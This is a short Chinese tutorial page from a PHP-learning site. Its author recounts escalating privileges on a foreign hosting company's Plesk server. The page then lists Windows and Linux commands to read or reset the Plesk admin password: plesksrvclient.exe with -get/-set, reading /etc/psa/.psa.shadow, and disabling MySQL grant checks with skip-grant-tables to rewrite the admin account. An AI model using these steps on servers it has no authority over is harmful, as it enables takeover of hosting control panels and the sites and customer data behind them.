网站地图    收藏   

主页 > 后端 > 网站安全 >

重置Plesk的Admin帐号密码提权 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 前几天提权了个国外的空间商服务器,装的是plesk主机管理系统,以前就知道可以在服务器上直接找回密码,顺手弄了一下,找到了方案,完了直接在IP后面加上8443访问,当然以SSL方式访...

前几天提权了个国外的空间商服务器,装的是plesk主机管理系统,以前就知道可以在服务器上直接找回密码,顺手弄了一下,找到了方案,完了直接在IP后面加上8443访问,当然以SSL方式访问哦!
 
说下Windows 和Linux下的两种方案吧!
登陆到windows,运行如下命令:
C:\Program Files\Swsoft\Plesk\admin\bin\plesksrvclient.exe
即可。
 
也可以采用命令行方式:
plesksrvclient.exe -get 获取当前密码
plesksrvclient.exe -set 123456 设置新密码为123456
 
登陆到linux,运行cat /etc/psa/.psa.shadow可以查看到当前密码
 
重置密码方法
 
1.编辑/etc/my.cnf
在[mysqld]项下加入skip-grant-tables
重启mysql,执行/etc/init.d/mysqld restart
 
2.运行/usr/bin/mysql -D mysql -e”update user set password=PASSWORD(‘`cat /etc/psa/.psa.shadow`’) where User=’admin’;”
重置成当前.psa.shadow中的密码
3.去除skip-grant-tables,重启mysql,完成

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论